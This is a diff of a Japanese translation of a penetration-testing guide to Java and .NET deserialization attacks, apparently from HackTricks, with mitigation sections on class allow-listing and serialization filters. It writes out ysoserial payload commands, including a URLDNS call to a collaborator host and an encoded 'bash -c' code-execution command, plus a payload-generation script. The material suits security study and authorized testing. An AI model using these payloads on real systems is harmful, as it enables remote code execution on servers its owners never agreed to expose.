```javascript
|
||||||
function deserialize(serializedJavascript) {
|
function deserialize(serializedJavascript) {
|
||||||
return eval("(" + serializedJavascript + ")")
|
return eval("(" + serializedJavascript + ")")
|
||||||
@ -357,26 +357,26 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
|||||||
find . -iname "*commons*collection*"
|
find . -iname "*commons*collection*"
|
||||||
grep -R InvokeTransformer .
|
grep -R InvokeTransformer .
|
||||||
```
|
```
|
||||||
あなたは、**脆弱性が知られているすべてのライブラリ**を確認し、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるかどうかを試すことができます。また、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
|
あなたは、**脆弱性が知られているすべてのライブラリを確認し**、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるかどうかを試すことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
|
||||||
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。\
|
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能なガジェットチェーンを検索することもできます。\
|
||||||
**gadgetinspector**を実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
|
**gadgetinspector**を実行する際(ビルド後)、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
|
||||||
|
|
||||||
#### ブラックボックステスト
|
#### ブラックボックステスト
|
||||||
|
|
||||||
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報を使用すると、脆弱性をエクスプロイトするための**ペイロードを選択しやすく**なります。\
|
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**かもしれません。\
|
||||||
[**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
[**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
||||||
GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。
|
GadgetProbeは**`ObjectInputStream`デシリアライズ**に焦点を当てています。
|
||||||
|
|
||||||
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、それらを**エクスプロイト**できます。\
|
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、それらを**エクスプロイト**できます。\
|
||||||
[**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
[**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||||
Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。
|
Java Deserialization Scannerは**`ObjectInputStream`**デシリアライズに焦点を当てています。
|
||||||
|
|
||||||
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内の**デシリアライズ**脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用してそれらを確認しようとします。\
|
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内の**デシリアライズ**脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**関連の脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。\
|
||||||
[**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
[**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||||
|
|
||||||
**シリアライズテスト**
|
**シリアライズテスト**
|
||||||
|
|
||||||
サーバーによって使用されている脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスする**ことができるかもしれません(ウェブアプリ内で管理者権限を付与するかもしれません)。\
|
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができるかもしれません**(ウェブアプリ内で管理者権限を付与するかもしれません)。\
|
||||||
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
|
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
|
||||||
|
|
||||||
### **エクスプロイト**
|
### **エクスプロイト**
|
||||||
@ -385,7 +385,7 @@ Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズ
|
|||||||
|
|
||||||
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
|
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
|
||||||
このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
|
このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
|
||||||
私は**RCEペイロードの前に「URLDNS」**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
|
**RCE**ペイロードの前に**"URLDNS"**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、"URLDNS"ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
|
||||||
```bash
|
```bash
|
||||||
# PoC to make the application perform a DNS req
|
# PoC to make the application perform a DNS req
|
||||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||||
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||||||
# Base64 encode payload in base64
|
# Base64 encode payload in base64
|
||||||
base64 -w0 payload
|
base64 -w0 payload
|
||||||
```
|
```
|
||||||
**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような **特殊文字** を使用することは **できません**。コマンドを実行するために "$()" を使用したり、**スペース** で区切られた **引数** をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするために、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html) を使用することができます。
|
**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような **特殊文字** を使用することはできません。また、コマンドを実行するために "$()" を使用したり、**スペース** で区切られた **引数** をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするために、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html) を使用することができます。
|
||||||
|
|
||||||
次のスクリプトを使用して、Windows と Linux の **すべての可能なコード実行** ペイロードを作成し、脆弱なウェブページでテストしてください:
|
次のスクリプトを使用して、Windows と Linux の **すべての可能なコード実行** ペイロードを作成し、脆弱なウェブページでテストしてください:
|
||||||
```python
|
```python
|
||||||
@ -455,12 +455,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||||||
```
|
```
|
||||||
#### serialkillerbypassgadgets
|
#### serialkillerbypassgadgets
|
||||||
|
|
||||||
あなたは **https://github.com/pwntester/SerialKillerBypassGadgetCollection** **をysoserialと一緒に使用して、より多くのエクスプロイトを作成することができます**。このツールに関する詳細は、ツールが発表された**トークのスライド**にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
あなたは **ysoserial** と一緒に [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **を使用して、より多くのエクスプロイトを作成することができます**。このツールに関する詳細は、ツールが発表された **トークのスライド** にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||||
|
|
||||||
#### marshalsec
|
#### marshalsec
|
||||||
|
|
||||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaのさまざまな**Json**および**Yml**シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\
|
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaのさまざまな **Json** および **Yml** シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\
|
||||||
プロジェクトをコンパイルするために、私は`pom.xml`にこの**依存関係**を**追加**する必要がありました:
|
プロジェクトをコンパイルするために、私は `pom.xml` にこの **依存関係** を **追加** する必要がありました:
|
||||||
```markup
|
```markup
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>javax.activation</groupId>
|
<groupId>javax.activation</groupId>
|
||||||
@ -482,7 +482,7 @@ mvn clean package -DskipTests
|
|||||||
```
|
```
|
||||||
#### FastJSON
|
#### FastJSON
|
||||||
|
|
||||||
このJava JSONライブラリについての詳細はこちらをお読みください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
このJava JSONライブラリについての詳細はこちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||||
|
|
||||||
### Labs
|
### Labs
|
||||||
|
|
||||||
@ -494,8 +494,8 @@ mvn clean package -DskipTests
|
|||||||
Javaはさまざまな目的で多くのシリアル化を使用します:
|
Javaはさまざまな目的で多くのシリアル化を使用します:
|
||||||
|
|
||||||
- **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
|
- **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
|
||||||
- **RMI (リモートメソッド呼び出し)**: シリアル化に完全に依存するJava RMIプロトコルは、Javaアプリケーションにおけるリモート通信の基盤です。
|
- **RMI (Remote Method Invocation)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
|
||||||
- **HTTP経由のRMI**: この方法は、すべてのオブジェクト通信にシリアル化を利用するJavaベースの厚いクライアントウェブアプリケーションによく使用されます。
|
- **HTTP経由のRMI**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。
|
||||||
- **JMX (Java Management Extensions)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
|
- **JMX (Java Management Extensions)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
|
||||||
- **カスタムプロトコル**: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
|
- **カスタムプロトコル**: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
|
||||||
|
|
||||||
@ -520,12 +520,12 @@ throw new java.io.IOException("Cannot be deserialized");
|
|||||||
```
|
```
|
||||||
#### **Javaにおけるデシリアライズセキュリティの強化**
|
#### **Javaにおけるデシリアライズセキュリティの強化**
|
||||||
|
|
||||||
**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、以下の場合に適しています。
|
**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています。
|
||||||
|
|
||||||
- デシリアライズコードがあなたの管理下にある。
|
- デシリアライズコードがあなたの管理下にある。
|
||||||
- デシリアライズのために期待されるクラスが知られている。
|
- デシリアライズのために期待されるクラスが知られている。
|
||||||
|
|
||||||
**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています:
|
**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています。
|
||||||
```java
|
```java
|
||||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||||
@ -554,9 +554,9 @@ return super.resolveClass(desc);
|
|||||||
|
|
||||||
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)の例を確認してください。
|
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)の例を確認してください。
|
||||||
|
|
||||||
**シリアライゼーションフィルターの実装**: Java 9は**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターを導入し、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
|
**シリアライゼーションフィルターの実装**: Java 9では、**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
|
||||||
|
|
||||||
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成できます。例えば:
|
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームに対して動的に構成できます。例えば:
|
||||||
```java
|
```java
|
||||||
ObjectInputFilter filter = info -> {
|
ObjectInputFilter filter = info -> {
|
||||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||||
@ -572,7 +572,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||||||
|
|
||||||
- **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。
|
- **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。
|
||||||
- **jdeserialize**は、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
|
- **jdeserialize**は、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
|
||||||
- **Kryo**は、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
|
- **Kryo**は、速度と効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
|
||||||
|
|
||||||
### 参考文献
|
### 参考文献
|
||||||
|
|
||||||
@ -610,12 +610,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
|||||||
|
|
||||||
### 悪用
|
### 悪用
|
||||||
|
|
||||||
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要)、**デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
|
基本的に、**危険な方法でJMSを使用しているサービスがたくさんあります**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
|
||||||
これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。
|
これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。
|
||||||
|
|
||||||
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。
|
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。
|
||||||
|
|
||||||
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信するためにこれらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信するためにこれらのサービスに接続して攻撃する**ために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
||||||
|
|
||||||
### 参考文献
|
### 参考文献
|
||||||
|
|
||||||
@ -639,13 +639,13 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
|||||||
|
|
||||||
#### ブラックボックス
|
#### ブラックボックス
|
||||||
|
|
||||||
検索は、Base64エンコードされた文字列 **AAEAAAD/////** またはサーバー側でデシリアライズされる可能性のある類似のパターンを対象とする必要があります。これには、`TypeObject`や`$type`を含む**JSON**や**XML**構造が含まれる可能性がありますが、これに限定されません。
|
検索は、Base64エンコードされた文字列**AAEAAAD/////**またはサーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これにより、デシリアライズされる型を制御できるようになります。これには、`TypeObject`や`$type`を含むがこれに限定されない**JSON**または**XML**構造が含まれる可能性があります。
|
||||||
|
|
||||||
### ysoserial.net
|
### ysoserial.net
|
||||||
|
|
||||||
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成する**ことができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
|
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成する**ことができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
|
||||||
|
|
||||||
**ysoserial.netがどのように悪用を作成するかを学びたい場合は、**[ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッターが説明されているこのページを確認してください](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明されているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||||
|
|
||||||
**ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。
|
**ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。
|
||||||
|
|
||||||
@ -656,9 +656,9 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
|||||||
|
|
||||||
#### 追加のysoserial.netパラメータ
|
#### 追加のysoserial.netパラメータ
|
||||||
|
|
||||||
- `--minify`は**小さなペイロード**を提供します(可能な場合)。
|
- `--minify`は**小さいペイロード**を提供します(可能な場合)。
|
||||||
- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッター(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
|
- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
|
||||||
- `--sf xml`は**ガジェットを示すことができます**(`-g`)そしてysoserial.netは「xml」を含むフォーマッターを検索します(大文字と小文字を区別しません)。
|
- `--sf xml`は**ガジェット**(`-g`)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しない)。
|
||||||
|
|
||||||
**ysoserialの例**を使用して悪用を作成します:
|
**ysoserialの例**を使用して悪用を作成します:
|
||||||
```bash
|
```bash
|
||||||
@ -694,7 +694,7 @@ Debugging.ShowErrors(inputArgs, err);
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
これは、エクスプロイトをテストするために、コードが [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) を呼び出すことを意味します。
|
これは、エクスプロイトをテストするためにコードが [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) を呼び出すことを意味します。
|
||||||
```java
|
```java
|
||||||
public static object JsonNet_deserialize(string str)
|
public static object JsonNet_deserialize(string str)
|
||||||
{
|
{
|
||||||
@ -710,34 +710,34 @@ return obj;
|
|||||||
|
|
||||||
### ViewState
|
### ViewState
|
||||||
|
|
||||||
[**.Netの\_\_ViewStateパラメータを悪用する方法についてのこのPOSTを見てください**](exploiting-__viewstate-parameter.md) **任意のコードを実行するために。** もしあなたが**被害者のマシンで使用されている秘密をすでに知っているなら、[**コードを実行する方法を知るためにこの投稿を読んでください**](exploiting-__viewstate-knowing-the-secret.md)**。**
|
[**.Netの\_\_ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください**](exploiting-__viewstate-parameter.md) **任意のコードを実行するために。** もしあなたが**被害者のマシンで使用されている秘密をすでに知っているなら、[**コードを実行する方法を知るためにこの投稿を読んでください**](exploiting-__viewstate-knowing-the-secret.md)**。**
|
||||||
|
|
||||||
### Prevention
|
### Prevention
|
||||||
|
|
||||||
.Netにおけるデシリアライズに関連するリスクを軽減するために:
|
.Netにおけるデシリアライズに関連するリスクを軽減するために:
|
||||||
|
|
||||||
- **データストリームにオブジェクトタイプを定義させないようにします。** 可能な限り`DataContractSerializer`または`XmlSerializer`を利用してください。
|
- **データストリームにオブジェクトタイプを定義させないようにします。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。
|
||||||
- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定します:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定します:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||||
- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しないでください。**
|
- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しないでください。**
|
||||||
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。**
|
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。**
|
||||||
- **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。
|
- **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。
|
||||||
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。**
|
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。**
|
||||||
- **`BinaryFormatter`および`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
|
- **`BinaryFormatter`と`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
|
||||||
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。**
|
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。**
|
||||||
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、WPFアプリケーションの`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
|
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、WPFアプリケーションの`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
|
||||||
|
|
||||||
### **References**
|
### **References**
|
||||||
|
|
||||||
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
